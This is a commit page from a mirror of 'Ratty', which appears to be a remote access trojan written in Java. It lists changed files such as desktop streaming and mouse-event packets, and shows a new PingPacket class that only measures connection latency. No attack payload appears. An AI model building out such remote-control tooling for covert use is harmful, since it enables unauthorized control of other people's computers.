mirror of https://github.com/LucaBongiorni/Ratty
Browse Source
Major changes
Major changes
Bugfixes Added PingPacket class The ping is now displayed Increased desktop stream qualitymaster
Sogomn
9 years ago
17 changed files with 126 additions and 31 deletions
-
2Ratty/res/language/lang.properties
-
2Ratty/res/language/lang_de.properties
-
2Ratty/res/language/lang_en.properties
-
1Ratty/res/language/lang_ru.properties
-
1Ratty/res/language/lang_uk.properties
-
15Ratty/src/de/sogomn/rat/GUISettings.java
-
4Ratty/src/de/sogomn/rat/Ratty.java
-
7Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
-
2Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
53Ratty/src/de/sogomn/rat/packet/PingPacket.java
-
3Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
-
11Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
17Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
9Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
-
2Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java
-
17Ratty/src/de/sogomn/rat/util/FrameEncoder.java
@ -0,0 +1,53 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import de.sogomn.rat.ActiveConnection; |
|||
|
|||
public final class PingPacket extends AbstractPingPongPacket { |
|||
|
|||
private long milliseconds; |
|||
|
|||
public PingPacket() { |
|||
type = REQUEST; |
|||
} |
|||
|
|||
@Override |
|||
protected void sendRequest(final ActiveConnection connection) { |
|||
final long time = System.currentTimeMillis(); |
|||
|
|||
connection.writeLong(time); |
|||
} |
|||
|
|||
@Override |
|||
protected void sendData(final ActiveConnection connection) { |
|||
connection.writeLong(milliseconds); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveRequest(final ActiveConnection connection) { |
|||
final long time = connection.readLong(); |
|||
|
|||
milliseconds = System.currentTimeMillis() - time; |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveData(final ActiveConnection connection) { |
|||
milliseconds = connection.readLong(); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeRequest(final ActiveConnection connection) { |
|||
type = DATA; |
|||
|
|||
connection.addPacket(this); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeData(final ActiveConnection connection) { |
|||
//... |
|||
} |
|||
|
|||
public long getMilliseconds() { |
|||
return milliseconds; |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue